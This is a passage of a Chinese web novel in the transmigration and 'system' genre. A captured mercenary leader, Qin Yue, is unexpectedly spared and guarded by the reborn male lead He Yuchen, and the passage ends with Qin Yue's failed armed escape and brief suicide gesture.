“对了,事成之后。”元帅锐利的眼神审视着贺煜臣,“记得斩草除根。” 看着脸色苍白,不知道这些天受了多少委屈的孩子,元帅犹豫半天,还是收回了安慰的话,他告诫道:“有些人不能活着,你比我清楚。” 贺煜臣心里一沉,但很快就收拾好情绪,“我明白。” 他心里清楚,秦越不是容易被控制的人,也不会是个好的合作对象。 一开始,他们就是朝着相反方向摸索行走的陌生人,注定不能奔赴同一片晨曦。 父亲说的一点问题没有,秦越死了最好的结果。这样才能让回归联邦的流民们,从此之后别无二心。 只是,他突然很想让秦越活着。 — 秦越起初以为又是什么身体检查,但药剂扎入的瞬间,他就察觉到了不妙。 先是肌肉感受到灼烧感,然后到流淌的血液,每一个神经末梢都在叫嚣着疼痛。 紧接着剧烈的疼痛变成了隐约的钝痛,还夹杂着难以描述的快感。 一前一后,短短几秒之内身体内天翻地覆的变化,足以让秦越犯起了恶心。 他蜷缩起手指,尽量放轻呼吸以免更多的不适,“你给我注射了什么?” “异能抑制剂,可能不太好受。少将指名待会要见你,这都是为了安全起见。”穿着白袍的人公事公办地留下一句话就走了。 原来,这就是被注入抑制剂的感觉。 原来,那么疼啊…… 手掌不受控制地颤抖,秦越想拼命控制住这难受的痉挛,才发现自己浑身都没什么力气。 门被咔哒一声打开了,贺煜臣已经换上了黑色军装,显得威严又不可接近。 秦越默不作声地把手藏在桌面以下,他尚不清楚贺煜臣的来意。 贺煜臣像利刃劈开了室内的昏暗,他手上拿着一份文件,坐在秦越的对面,黑色的衣服衬得他肩线流畅宽阔,只不过他堪称平和的神色,降低了这种攻击性。 “我代表共辉和军方,与你谈一份合作。”贺煜臣把文件摊开,细细地把条例上允诺的好处,一一说给秦越,“若是你同意这上面的条件,所有优待都会即刻生效。” 秦越像是听到了什么笑话,毫不犹豫道:“我拒绝。” 贺煜臣并未生气,只是将手上的文件推至秦越面前:“如果你有任何不满意,我们都可以谈。” 秦越懒得翻阅一样,连手都没伸出来。他面容冷淡,一字一顿:“我拒绝。” 丝毫没有被贺煜臣打动的意思。 贺煜臣身侧的副官被秦越这幅爱答不理的样子激怒了,忍不住皱眉拍桌,“注意你说话的态度!” 秦越不以为意地瞥了他一眼。 “废墟遗迹不过是无主之地,你那些手下也不过是些散兵游勇。”副官面色不善威胁道:“我们跟你谈合作,是看得起你,别在这得寸进尺!” 秦越笑了一声,表情讥讽:“无主之地,你们就是那么看待废墟遗迹的?” 副官:“废墟遗迹无政府无法纪,你以为自己是谁,红杉会腆着脸恭维你几句,还真把自己当土皇帝了!” 秦越没有看向副官,他镇静地直视着贺煜臣,声音很冷:“生活在那块土地上的每一个人,都是它的主人。” 副官哑然过后,是更加的愤怒,他还想开口说什么,贺煜臣豁然抬手,示意他闭嘴,然后轻声喝道:“你先出去。” 空气中一片沉寂。 副官听出贺煜臣语气中的斥责,他没想到贺煜臣站如此维护秦越,狠狠瞪了一眼秦越,气不过地用力带上门走了出去。 房间里只剩下他们两个人。 贺煜臣不愿放弃,他神态里透出一丝不解:“你既然可以跟红杉会合作,为什么不能跟我们合作?” 秦越:“你错了,我跟他们也只是各取所需。” 在原主看来,红杉会是真小人,而共辉盟也是个伪君子,都算不上好人。 原主所能做出最大程度的合作,也仅仅是替总统处理在灰色地带游走,他不会完全将权利毫无保留地转移至联邦。 因为他信不过这些人。 贺煜臣不易察觉地叹了口气,说服秦越这样的人果然很难。 秦越现在只不过是个阶下囚,虽然看起来很虚弱的样子,倒是一点也不慌。 贺煜臣:“你说过,我跟他不一样。” 秦越略微惊讶地看了一眼贺煜臣。 对方这是下定决心要跟他上演怀柔政策了吗,还是只是暂时想稳住他,等到权利温和地交接结束之后,再把自己杀了? 秦越知道原主可没那么好的待遇。 原文里贺煜臣拿下那些雇佣军,一是靠着顾夜霖的嘴炮。男二声泪俱下劝说联邦人依旧是我们的同胞,我们不应该如此排斥厌恨他们。被驱逐的流民们,或多或少还有一些沾亲带故的人留在联邦,被他说得难免动容。 二是原主直接被贺煜臣当着一群不忿的雇佣兵面前处刑,反抗者明白了,再不服的下场就是挨个给感染者当自助餐。 介于原主做过的事情,当时被杀的时候,贺煜臣眼睛都没眨一下。 秦越有点困惑。 贺煜臣是重生的,他在这种情况下见到自己,不应该上来毫不客气地给个下马威,反而还在这颇有耐心地给自己画饼。 莫非是为了兵不血刃?想把损失降低到最低。 ……太能忍了,不愧是男主。 秦越肃然起敬。 这么一想,他觉得贺煜臣演得太辛苦了。 对待一个恨不得要千刀万剐的人,还要这样低声下气地劝说。 代入自己,秦越感觉确实很憋屈了。 秦越:“还记得,我们第一天见面的时候么?” 贺煜臣垂眸。 怎么会不记得。 是眼前这个人,把快冻死的他带了回去。给了他消炎的药物,和一处能休息的场所。 “我那时刚杀了一个人。”秦越死死按住自己的手,抑制剂中镇痛的效果开始消失,钝刀割肉的幻痛让他额头上布满了冷汗,“我杀了一个叛徒……他就是因为想和你们合作……” 贺煜臣看出了秦越的痛苦,神情不自觉地疑惑起来,随着秦越断断续续的开口,这种疑惑变成了不可置信。 他又惊又怒的声音打断了秦越的话,“你怎么了?”—— 作者有话说:秦越:不愧是男主[666] 贺煜臣:他到底有没有在听我说什么啊![裂开] 第47章 贺煜臣意识到自己的失态,他稳住了情绪,但径直朝秦越走过来的步伐太急,把桌椅带动发出刺耳的摩擦声。 他半跪下来,按住秦越的脉搏。 跳得很急,也很乱。 秦越头痛欲裂,忍住想抱怨疼痛的欲望,苦思冥想刚刚被贺煜臣打断的台词,他勉强打起精神,“喂……” 秦越本来不想让贺煜臣发现自己的异样,只是避免在谈判桌上显得过于弱势,否则他们觉得有机可趁,就会一直在那磋磨自己。 不过,既然被发现了,秦越也懒得遮掩了,“无论你想用什么手段,我都不会同意。” 贺煜臣抬起头,秦越才发现对方脸色跟自己一样难看。 贺煜臣在秦越后颈上看见一处很明显的淤青,结合这太过熟悉的种种反应,贺煜臣有了一个不好的猜测。 “他们给你注射了抑制剂?” 秦越懵逼了,贺煜臣说的话跟他预料中的完全不一样。他呆了半晌才说话:“这不是你安排的么。” 你还问我? 贺煜臣呼吸一顿。 眼前的场景再一次陡然切换。地面不再是安全屋的水泥地,而是洁白反光的瓷砖。 ……不。 不是洁白的,还有……刺目的红色,伴随着似有似无的酒水味钻入鼻腔。 面前的人依旧是一张苍白虚弱的脸,只不过已经阖上了眼。 就像……已经没了气息。 相对无言中,秦越感受到扣住他脉搏的手越来越紧,贺煜臣似乎在压抑着什么情绪。 贺煜臣猛地喘了一口气,不该出现在这里的酒水味不见了。 明明痛的是秦越,他额头不知何时也挤满了冷汗。 “不是我。”贺煜臣固执地盯着秦越的眼睛,又重复了一遍。 察觉到掌心下的手腕不自然地抽动了一下,贺煜臣无声垂眸,才发现自己已经把秦越腕部掐出一片红痕。军装下的胸口微微起伏,贺煜臣努力地深呼吸,放开了手。 他只是想让秦越知道这事跟他无关,秦越不会怪他下手太重的。 对吧……? 秦越被贺煜臣看得头皮发麻,仿佛他要说句不信,贺煜臣当场就要拧断他的胳膊。 他微微迟疑,决定先稳住贺煜臣。 秦越微不可查地叹了口气:“我知道了。” 贺煜臣并没有那么轻易就打算放过他,想把秦越带去别的地方,“你熬不过去的,我让人给你上镇痛泵。” 在秦越看来,贺煜臣有点莫名其妙了。 秦越认为自己的态度表现得很明显了: 非暴力不合作,暴力也不。 但贺煜臣跟听不懂他的话一样。 秦越本来就很不舒服,被硬拉起来之后,更是头晕目眩,他十分抗拒地推开了贺煜臣的手,表情充满戒备。 因为抑制剂的作用,秦越没什么力气,贺煜臣却是一副很受伤的样子,他拽住秦越的小臂,顶着秦越想杀人的目光,也没有放开他,“你是不想活了吗?” 秦越语气里带着嫌弃对方多管闲事的厌烦,冷冷说道:“是啊,你不应该很高兴么。” 他虽然表面上还拿捏着原主的人设,但隐约觉得剧情好像失控了,内心开始打起了鼓。 “原来……你心里是这么想的吗?”贺煜臣表情沉了下来。 秦越心道不好,似乎拿捏人设过头,把贺煜臣彻底惹毛了。 贺煜臣深深看了眼秦越,他缓缓抬起手,朝着秦越的方向探去。 系统卡着点提醒道:[贺煜臣好像要把您弄死了。您看不见异能的波动,但是我可以尽职地告诉您,几秒钟之后您就会变成灰烬。] 系统虽然之前一直被自由发挥剧情的秦越气得跳脚,这时候它反而安慰起秦越:[没关系,只是一个世界的滑铁卢而已,之前世界的绩效都很不错的。] 秦越忍不住又叹了口气,之前还说不能输给上个世界的自己,这次看样子不出意料地要垫底了。 他现在连个遗言都想不出来,不过遗言也是要留给重要的人,对于原主来说,他在这个世界上,没有一个可以称得上重要的人。 贺煜臣仔细地一寸寸审视着秦越的神情,他像是不怕被联邦定义为高危的异能,姿态俨然更放松了。 脸色惨白,看起来有些狼狈的男人忽然认真地说:“我希望你是这个世界的未来。” 贺煜臣目光落在男人一开一合的唇角上,但手上的动作没有半分犹豫。 秦越在内心祷告,男主你的事业线千万别走偏了,我的任务完成度说不定还能加几分。 这种命运寄托在他人身上的感觉,让秦越很难受,但这时候也只能祈祷贺煜臣以后不要一抽风,钻进反派的大本营。 秦越开口的同时,他斜后方的房门悄无声息地变成了灰烬。贺煜臣依旧看着秦越,微微侧过头朝着门口喊了一句医生。 穿着白袍的医疗人员窜了进来。 贺煜臣之前阴郁的表情一扫而去,一双桃花眼蕴藏着一种我就知道的得意,他眼睛弯起,笑声憋在嗓子里,听上去闷闷的。 果然是个……骗子。 不过,终于也被我骗了。 系统的报告都已经发出去了,它看了看贺煜臣,又看了看僵住的秦越,捂住了脑壳:[……我是太累了吗,怎么出现幻觉了。] 秦越表情复杂:“我怎么还活着?” 系统心态崩了:[我怎么知道!] [不对不对,哪里都不对。男主的人设怎么也开始两模两样起来了?] 不说之前重生前原主的种种恶心,就刚才秦越说话一直夹枪带棒,简直在人家雷点上蹦迪。 结果,贺煜臣这都忍下来了? 说好的睚眦必报呢? 报哪里去了? 医生还是之前替秦越抽血的那位,他听到贺煜臣的声音,条件反射地就闪身进屋。一进门,就被面前的场景给定住了。 十恶不赦的雇佣兵头目蜷缩在一边,而自己顶头上司的上司,此刻正心甘情愿地当对方的拐杖。 “镇痛泵。”贺煜臣安排道。 医生顺手将不久前的检查结果也给了贺煜臣。 贺煜臣接过报告,对着医生他态度明显阴沉多了,“谁给他打的抑制剂?” 医生倒吸一口气,虽然其中弯弯绕他不太清楚,但也明白这是算账的语气,他垂着头不敢多看一眼贺煜臣,“是元帅的意思,一切以您安全为主。” 贺煜臣停顿片刻,说道:“下次不要用了。” 医生苦着一张脸,有种不知道到底听谁的苦恼。他弄完镇痛泵,头也不回地就离开这个是非之地。 贺煜臣看着检查结果,越看越心惊。他前世能成功,有一半的原因是秦越身体已经不行了,不然他也不会赢得如此轻松。 只不过那个时候,他不知道对方的身体已经到了行将就木的程度。 贺煜臣之前觉得秦越的言行举止不一样,是因为自己重生导致的。他那时还在想对方身体情况也许可以侥幸变好,但眼前的白纸黑字告诉他,没有区别。 他看向秦越木然的脸,对方似乎已经知道自己命不久矣,往日里锐利的眼神变得涣散,额前散落的碎发蔫吧地耷拉下来,显得无害极了。 贺煜臣:“……”他心里揪了起来,强迫自己把视线放在报告上。 秦越其实是在发愣。 因为镇痛泵起了作用,他现在能安下心来复盘贺煜臣的行为。 思来想去,秦越总结出来一个令他心慌意乱的答案。贺煜臣是真的没打算弄死他。 系统同样的心灰意冷:[有没有一种可能,我是说可能,男主不是以前的男主了。] 秦越心平气和地说:“上次你跟我说男主是重生的,现在跟我说男主不是以前的。你能不能引咎辞职?” 系统没有形象地摊在地上,宕机了,[否则我解释不了,为什么您还活着这个事实。] 房间里只有医生留下仪器的滴滴声,和两个各怀心思的人。 贺煜臣捏着报告半天,看似在认真阅读上面每一个字,实则思绪已经不知道去哪了。等到他懊恼地回过神,把内心的疑惑直白地问了出来:“我们以前是不是在哪见过?” 他最近总是莫名出现幻觉。 一开始,贺煜臣以为是产生了既视感,只是记忆错觉。但这种既视感每次都发生在一个人身上,他不得不多想。 秦越跟地上的系统对视一眼,他敛去不解的神情,话也不敢说得太满,“贺少将现在又开始打感情牌了?我年少时在这待过,或许是那个时候吧,谁知道呢。” 贺煜臣直接忽视掉秦越这个敷衍的答案,因为幻觉里的秦越根本不是少年的模样。 他见秦越茫然的表情不似作假,知道一时也问不出个所以然,便跳过了这个问题,转而很严肃地问:“你到底想要什么?” 总是那么的口是心非,言不由衷。 他曾以为秦越是词不达意,后来发现秦越是故意想惹怒他,可这种作死的行为属实没什么道理。 “还是说,有人在威胁你做什么?”贺煜臣眉头一跳,瞬间合上报告。这个猜想让他不由得心脏急速跳动起来。 如果是这样,一切都合情合理起来。 秦越今天已经被贺煜臣说的话,吓了一跳又一跳。秉持着多说多错的原则,他老老实实地闭上嘴。 贺煜臣见到秦越一反常态地没有冷嘲热讽,他潜意识认为自己找对了方向。 “是总统?”贺煜臣暂时没有更多的怀疑对象,他见秦越下定决心不开口,便换了个角度问道,“我说过,你想要什么,我们都可以谈。”—— 作者有话说:思来想去,打算写完三个世界就可以完结了[狗头] 第48章 系统呆呆地左看右看了好一会,才慢半拍地指了指自己。 [等等,他说威胁你的人不会是指我吧……] 秦越无语地用余光瞥了一眼才对上号的系统。 贺煜臣有些失望,自从秦越醒了之后,他除了话里带刺以外,连正眼都懒得给自己一个。 他甚至开始怀念在废墟遗迹的时候,秦越还不像现在这样的冷漠和排斥。 到底是哪里出了问题?贺煜臣很想刨根问底,可是秦越似乎是下定决心不愿意跟他敞开心扉。 “你就那么讨厌我……”他咽下这个字眼,改口道:“讨厌联邦的人么?” 秦越听到这句话,终于有了一些反应。 他回道:“……我不讨厌你们。” 贺煜臣眼神中透露出一些小心翼翼地期冀,秦越在他的试探中,居然难得地朝他笑了笑。 可是随着秦越的开口,残忍的字眼毫不留情地砸碎了贺煜臣的期盼。 “我是恨你们。” 贺煜臣眼里的光芒一点点熄灭了。 秦越没太多触动的样子,仿佛说的只是明天的天气,那样的普通平淡。 贺煜臣忽然想起了父亲的嘱托,他不自觉地收拢指尖。 秦越前半生过得太痛苦,糟糕的经历已经让他没法再给联邦一点信任。哪怕是说恨他们,也因为说上成千上百次,变得稀松平常,甚至带不动他一丁点的情绪。 真的要杀了他么,贺煜臣第一次觉得死亡这个字眼如此沉重。 他不是没见过尸体,也不是没有亲手杀过人。但当屠刀落在眼前人身上时,他总是会下意识排斥这个可能性。 秦越像个无情的念台词机器,跟举着台词版的系统,在空中交换一个ok了的眼神。 系统擦了擦不存在的汗,瞧着宿主在不对的时间,不对的地点,但总归是把原主在小说里最后一句台词说完了。 现在他们已经不求能让秦越在原剧情中的地点丢命,只求他能本分地死在贺煜臣手上就行了。 两秒钟后,它嘴一歪,哭丧着脸说道:[还是没用,恨意值一点没涨。] 系统绝望地扫描完原主的台词,发现大部分都是因为言语羞辱而造成的马赛克,已经没有更多的能引起贺煜臣怒意的台词了。 最主要是在眼下说其他的八竿子打不着的话,怎么看都像是宿主得了癔症一样。 秦越差点稳不住自己的情绪,他恨不得抓住贺煜臣的肩膀,疯狂地摇醒对方,然后质问你在想什么呢! 他突然就又烦又憋屈,还有点微不足道的委屈。 是因为自己没有按照那该死的剧本走,所以就活该变成了这个局面吗? 秦越不愿放弃自己的坚持,也不想任务完不成。秦越猛地想起了什么,朝着还盯着自己的贺煜臣勾了勾手指。 他没意识到自己举动傲慢又无礼,反而带着一些没掩饰好的愉悦。 在贺煜臣眼里,秦越这会的表现很反常,就像一个突然发现绿洲的迷途人,又像是只追到了飞盘,想找你邀功的小狗。 秦越拍了拍床边,示意贺煜臣坐过来。 贺煜臣不知道秦越这会又想做什么,他觉得一个病人也实在是翻不出什么浪花,便顺着秦越的意思,放松地坐了下来。 秦越:“你之前说过的话还算数么?” 两个人离的很近,近到贺煜臣能看清秦越眼底没法褪去的淡红色。 是死神留下的印记,是他死亡的倒计时。 贺煜臣不知怎的,内心仿佛被无心的手揪了起来。他说不出话,只能轻轻点了点头。 秦越不知道自己阶下囚的身份一样,相当不怕死地靠了过去。 “你说过我想玩什么,你都可以陪我玩。” 贺煜臣哑然,他万万没想到秦越提出这个要求。 当初说这句话的时候,他是以为秦越想杀了自己,不得以才出此下策。但现在两人身份反转,这句话是任何一个正常的人,在秦越这个位置上,无论如何都不该提的。 大概是贺煜臣沉默的太久,系统都开始在贺煜臣身旁屏气凝神了。 贺煜臣不知道想到了什么,蓦然摇了摇头,笑了一声。 不是那种阎王要你三更死,我能让你提前报道的冷笑。是那种突然想通了什么,觉得自己在犯傻的笑。 秦越用眼神问系统:“他这是气笑了么?” 系统不言,只是一昧地面壁:[我会一直憋气到他恨意值上涨。] 贺煜臣神色认真地理了理秦越有些乱糟糟的额发,接着顺着他脸颊滑了下来,捏了捏秦越太显瘦削的脸颊。贺煜臣语气轻柔,仿佛在安抚无理取闹的情人,“你现在身体不好,过一段时间再说吧。” 秦越先是迷茫,然后是错愕,最后实在没忍住,他震惊地抓住贺煜臣作乱的手,“你在发什么疯?” 贺煜臣表情无辜将脸地贴近秦越的手背,“怎么我答应了你的要求,你还是不高兴。” 他微不可查地翘了翘嘴角,他知道秦越说出来的话,能有一半是真的都很难得了。 但是转念一想,这是因为秦越不想跟自己合作,才故意刁难自己,贺煜臣突然又没那么开心了。 秦越都快瞳孔地震了,虽然一直在强迫自己冷静,可是等到贺煜臣还在他手背上无意识地蹭了几下的时候,他脑子还是彻底混乱了。 “怎、么、回、事。”他咬牙挤出几个字,问还在墙角装蘑菇的系统。 系统终于排查完各种原因,甚至它还真的去查了一遍,男主是不是换人了。 最终它幽幽地说:[怎么回事您应该比我清楚。] 系统说着把剧情分支树投屏到秦越面前,[您错过好多剧情,这都是因为您没有按照事件操作,导致重要剧情都没有触发,男主对您的态度自然就天差地别。] 比如说第一天,原主虽然没有动手,但确实在浴室对着□□的男主,说了一些侮辱性的字句,还把一件衣服都没有的男主,直接关进了小黑屋。 但这个世界的贺煜臣,得到的是一条从天而降的浴巾和药物,以及松软干净的沙发。 再比如说后面,原主因为自己不行,大肆使用道具助兴的时候,而你在这个世界,帮男主换药,带男主与白月光见面,目前就差替男主卖命了。 系统省略了如此种种,然后总结道:[所以男主说我威胁你做事,这是完全错误的!] 它要是真强迫宿主了,这个世界又怎么能变成作者亲妈都不认识的模样。 秦越:“都这时候了,你还在纠结这个?!” 系统在空中呜呜地哭:[已经完不成任务了,我还被人冤枉,想想就更难受了。] 系统目前不抱任何希望了,还有更糟糕的事情,它没来得及跟秦越说。 剧情改变之后,读者纷纷指责韩明远是黑月光,根本不配跟男主在一起。原来任务完成度上那岌岌可危的百分之五十,现在已经掉的没底了。 这意味着,他们在这个世界只有强制脱离这个选项。因为秦越是优秀员工,其他系统一定会认为是自己拖了后腿。系统能想象出回去之后,它们对自己的嘲笑有多大声。 说出去的话,没有收回来的道理,秦越跟好整以暇的贺煜臣对视了半天,最后他败下阵来,假装淡定地把自己手抽回来。 走投无路之下,秦越试要将恶心人进行到底,他闷声闷气地说:“我不喜欢这里的氛围,如果可以……” “你想在哪里做都可以。”贺煜臣从善如流,“你现在是想回家了么?” 听完贺煜臣的话,秦越:“?”—— 作者有话说:已经被看穿嘞[狗头] 第49章 贺煜臣:“你要是同意,我就视为你愿意同我合作。” 我同意什么了我? 信息量太大,导致秦越像是被什么东西呛到,猛地咳了几声。 “是哪里不舒服吗?”贺煜臣拍了拍他的后背,还贴心地看了一眼镇痛泵的给药速度,“需要给你调一下么?” 秦越:“。” 他没有不舒服,他只是单纯觉得天塌了。 贺煜臣没有给秦越拒绝的机会,直接叫来了医生。 秦越脑子乱成了浆糊,那针安定扎下去的时候,他以为贺煜臣终于忍不了要朝他动手了。 半睡半醒中,他感觉时不时一阵晃晃悠悠,像是回到了还不会说话的婴儿时期,心无杂念地躺在摇篮里。 秦越努力地想睁开眼,但只有一些光亮挤进视野里。 “还没到呢。”模糊温柔的声音从头顶飘下来,“再休息一会吧。” 说话的声音很轻也很耳熟,秦越还在迷糊中,条件反射地伸出手想朝着声源摸去。 有人摁住了他不老实的手,秦越不高兴地抿了抿唇,他没有得逞地摸上那人的脸,指尖似乎是停在了对方胸口的位置上。 什么东西冰冰凉凉的?秦越用勉强还在运作的脑子思考。 似乎是联邦军装上胸章的形状,他给了自己一个答案。 秦越心里慢慢拼凑出一个猜想,自己好像……正堂而皇之地枕在贺煜臣腿上……? 他仿佛喝醉了,呆呆地半阖着眼睛看着贺煜臣,想了半天还没理解出来这意味着什么。 贺煜臣无奈地笑了笑,轻柔地抚过他的发顶,断绝了秦越想仰头看清的念头,“路途不远,很快的,你别着急。” 他的声音仿佛有催眠效果,秦越心有不甘但遏制不住本能,又沉沉地睡了过去。 等到恢复意识的时候,秦越怔了怔,看了眼眼熟的窗外,依旧是讨人烦的阴雨连绵。 这是给他干哪来了? 秦越瞬间清醒了,他从床上爬起来,活动了一下身体,之前那种剧烈的疼痛已经不见了,更让他吃惊的是,自己回到了家。 ——废墟遗迹的家。 秦越还以为自己在做梦,晕乎乎地推开了门。 门外守着的不是他的部下,是一张很陌生的脸。 那人见到他出门后,客气但坚定地拦住了他,“抱歉,秦先生您不能离开这。” 秦越垂眸看着横亘在自己身前的手,不冷不热地说:“这是我家。” 陌生人堆起笑,他腰间还别着一把联邦最新的电磁枪,此刻另一只手正威胁性地搭在上面,“请您谅解,这是贺少将的命令。” 这算什么?秦越快气笑了,贺煜臣不让自己死,但也没打算放他走。 是对自己曾经圈禁他的报复吗。 秦越深深看了一眼守在门口的人,也没有跟他起冲突的意思,“他人呢?” “在跟您的部下谈判。”那人很快回答了秦越的疑问,“我们也不想发生流血事件,您要是没别的事情,就请回吧。” 对方似乎知道秦越的异能出了问题,对他只是警告,没有太多的防备。 系统跟着低气压的秦越飘回房间,接着给本就心情糟糕透顶的秦越,浇了盆冷水,[顾夜霖跑啦。] 秦越懒洋洋地摊在沙发上,半晌才有气无力地掀开眼皮,给了系统一个那又怎样的眼神。 他都快忘了这个人。 他带着贺煜臣回联邦前,顾夜霖在被他手下看押着,眼下说不定只是趁乱跑了而已。 系统挠了挠头,[但是他快死了哎,真的不管吗?作为剧情里的男二号,在后期可以算是男主团队里的重要角色……]其实系统想说不管就不管了,反正这次任务是完犊子了,不过它还是按流程要求,跟宿主说一下利弊关系。 秦越终于有了点兴趣,“对任务完成度有帮助吗?” 系统:[有吧……]它也不敢打包票,本来秦越只需要按台本,乖乖地死在废墟遗迹就好了。男主男二自会携同其余的流民,跟联邦内的军队里应外合,之后就可以轻松地把现政府推翻了。 但目前来说,这个世界的男主男二连面都还没见上…… 男二还能进入男主的团队吗?系统很困恼,明明男主是重生的,但是男二不见了,贺煜臣似乎一点也不着急。 秦越不高兴:“凭什么他快死了?” [?] 系统诡异地从秦越的语气中听出了点嫉妒。 系统摸不着头脑地打开面板,[看见那个小红点了么?这是剧情极端错误的报警,因为那个位置上死掉的应该是您。] 秦越划过地图,根据顾夜霖的行走路线,他推断顾夜霖本是想往联邦的方向进发,结果在半路上不知为何偏离了方向。 [他还带着一些升棺的人。] 秦越惊了:“他一出现就被我关起来了,怎么还能策反我手下?” 系统一点也不奇怪:[圣母光环是这样的。] 秦越虚空点了点地图上的位置,“这是哪?” 系统:[这是一处被感染者占领的矿区,本世界的科技还没发展到不需要原料的地步。所以军队的作用大部分都是用来驻扎在这种矿区,以及寻找一些临近水源,适合被改造成人类居住的地方。] [同理这些适合人类住的地方,都会徘徊着感染者。] [对了,这是读者在本文中对您唯一好评的地方。] 秦越好奇地看了一眼系统所说的好评,上面一行字写着:好啊!这个人渣算是死得其所,替贺煜臣扫清了障碍,把埋伏的感染者都引了出来。 …… “人渣本渣”默默地关上了屏幕,“顾夜霖没事往那钻干什么?” 系统摇头:[我没有权限,在这个世界里,我只能观测男主和白月光的视角。] 秦越嫌弃地坐回沙发上,表情里写满要你何用。 系统一怒之下怒了一下,它在自己兜里掏来掏去,发现能用的道具屈指可数。 这能怪它吗!它在投放到这个世界前,提前看了任务的原因,觉得结局只要躺平死掉太容易了。 再加上一个前期不能反抗,只能任人宰割的男主,怎么看任务都很容易做,它嫌道具占用内存,压根都没多带。之所以带了个面具,还是因为有些系统前辈说可以增加情趣用的。 系统掏了个底朝天,在秦越身前啪嗒掉落一个黑色的东西。 一人一统在空气中快速地对视了一眼,秦越捡起了地上的东西。 门外守着的士兵正百无聊赖地走来走去,他听到那扇门又被打开了。 因为秦越刚刚的态度很安分,这次士兵的神色比之前更放松了,而且他来废墟遗迹时,曾听到过医生的一些窃窃私语,知道秦越的身体不足以让他使用异能后还能安然无恙。 他没什么防备地走近秦越,“秦先生,有什么需要的吗?” 还带着病容的男人没什么力气似的倚在门边,像一头病恹恹的狮子。 士兵听过秦越的名字,他不由在心底感叹,这个在废墟遗迹呼风唤雨的男人,现在也只不过是个狼狈的,需要照顾的病人罢了。 然而下一秒,男人举着一把黑色的手枪指向了他的额头。 士兵已经很久没有见过这种旧人类时期的枪械了,现在装配的都是电磁枪,带着极为变态的AI辅助瞄准,就连十岁小孩都能隔着二十米打出个十环。 男人一扫伪装的虚弱不堪,将枪口压了压,好脾气地提醒。 “勃朗宁Hi-Power,单动发射的老古董了。但是有效射程50米,现在装填了10发子弹,我劝你最好还是不要乱动。” 第50章 秦越之所以有恃无恐,也是因为这个士兵之前下意识把手搭在枪支上。 有的人异能危险且不可控,但还有人的异能很可能只是拥有灵敏的嗅觉。 眼前的士兵显然就是不怎么依赖异能作战的那一类人。 士兵两眼一黑,万万没想到秦越来这么一出。士兵努力劝说:“秦先生,请您冷静。” 秦越心想我从未那么冷静过。他不为所动,继续问道:“楼下是不是还有你们的人?” 士兵点点头算是承认了,态度诚恳:“就算您弹无虚发,也顶多放倒十个人罢了,您连这栋楼都走不出去的。” 原文里这里本来是贺煜臣的牢笼,现在倒好,完美地困住了他自己。 秦越蓦的觉得有点地狱笑话了。 他看了一眼对方胸章上的数字,“H5328,那就麻烦你了。” 军号为H5328的士兵不明所以:啊? 麻烦我什么? 秦越二话不说,枪口下压抵住了对方的腰部,这样就算迎面过来一个人,不仔细看也很难发现他在挟持人。 “麻烦在你的同僚面前替我掩护。”他很礼貌地笑了笑。 H5328:…… 在士兵眼里,秦越的笑跟恶魔诱人入地狱的笑也没什么区别。 仅仅只是走过了一个弯道,就撞上了另一个人。 “出什么事了?”穿着同款制服的人,顶着一头滑稽的自然卷,狐疑地上下打量了他们俩一眼。 H5328仗着秦越站在他身后,疯狂地朝着眼前人挤眉弄眼,试图用眼神传递信号。 但很明显对方跟H5328没有什么默契可言。 两个人大眼瞪小眼一会,H5328感到腰被枪口不客气地撞了一下,是某人在警告他。 H5328:“我接到贺少将的命令,让我带他去审讯室。” “自然卷”眼中的狐疑更甚,他点了点通讯器,随后变得紧张起来,手朝着枪套摸去,“退后!” “看管秦越是最高指令,少将不会单独给你指示……” 话音未落,H5328像是没站稳,一个踉跄猛地撞向他。“自然卷”措手不及跟对方额头“砰”得相碰。 他晕头转向,还没理清怎么回事,后脖颈被一记手刀干脆利落地放倒。 秦越摸了摸鼻子,把额头一片通红的H5328拽起来,“抱歉。” H5328的脑壳里回荡着刚刚撞上的闷响,整个脑子还是懵懵的。 他懵归懵,但还是指了指“自然卷”的通讯器,“你把他打晕了,军队的通讯器会检测使用者的状态的。” 也就是说,通讯器会通报这里有个士兵处于不正常的状态。 果不其然,H5328的通讯器弹出来警报。紧接着这栋楼里警报声此起彼伏,很是热闹。 秦越本想一脚踩碎通讯器,想了想觉得只是多此一举。 他对贺煜臣说的那句这里是二十楼,成了提醒自己无处可逃的箴言。 整齐的脚步声顺着楼梯道回响。 仅仅听着这个动静,秦越就知道来的人不会少。 本来设计容纳几人宽的走廊,眼下挤得满满当当。 这些士兵戒备地端起电磁枪齐刷刷地指向他们。 “放下武器!” H5328手忙假乱地举起双手。 请苍天,辨忠奸。 他疯狂示意自己没有跟秦越同流合污,完全是被强迫的。 这次H5328的同僚们成功理解了他的意思,立刻统一将目标放在秦越身上。 秦越心情糟糕到了极点。 虽然他还没到TOP癌的地步,但成功的希望被掐灭的时候,是个人都不会太高兴。 突然间人群变成了带着波浪的潮水,有规律地朝着两边分开。 从士兵中间走出了一个人。 贺煜臣像是没看见秦越手上的勃朗宁,连表情都没变,“发生什么事?” 他边走近秦越,边做了个放下武器的姿势。 周围士兵充分表达了什么叫服从命令。 不质疑,不犹豫。 一通机械摩擦声后,他们已经将手上的武器收好,纷纷退守回到自己的原位。 “你不说话,我们怎么能解决问题呢?”贺煜臣不轻不重地说。 贺煜臣还是跟联邦时一样。 他就像看见一个闹脾气的任性小孩,很有耐心,但绝不会听之任之。 秦越扬眉,不得不说贺煜臣这套说辞似曾相识。 这不就是当时在废墟遗迹的贺煜臣自己么。 秦越那会也是半天等不到一句回应,现在这个回旋镖又落了回来。 眼见贺煜臣还在靠近,秦越索性调转枪口,毫无征兆地对准了自己的太阳穴。 看样子这个任务是没救了,重开下一把算了。 秦越了无生趣地侧了侧头,额角跟枪口严丝合缝地贴在一起,他懒洋洋地抬眼看向贺煜臣:“再见了。” 贺煜臣脚步一顿,他惊恐的眼神让秦越有种在这个局面里是自己赢了的感觉。 很受用。 秦越不自觉地嘴角抬了抬。 咔嚓。 是老式枪械上膛的声音。 “住手!” 贺煜臣瞬间怒吼着扑了过来,额角青筋不正常地暴起,眼底涌起仿佛异能失控一般地赤红,他失控地把秦越按在地上,声音颤抖:“你在干什么!” 秦越被一个正常体重的成年人,严严实实地欺身压住砸向地面,自然好不到哪里去。他吃痛地蹙眉,一度觉得自己的脊椎要折断了。 手上的勃朗宁在贺煜臣有所动作的同时,就被对方猛然迸发的异能碾压得无形无踪。 哪怕是枪膛吐出的火舌这种非实体的东西,都化作了没有温度的虚无。 秦越推了推贺煜臣。 没推动。 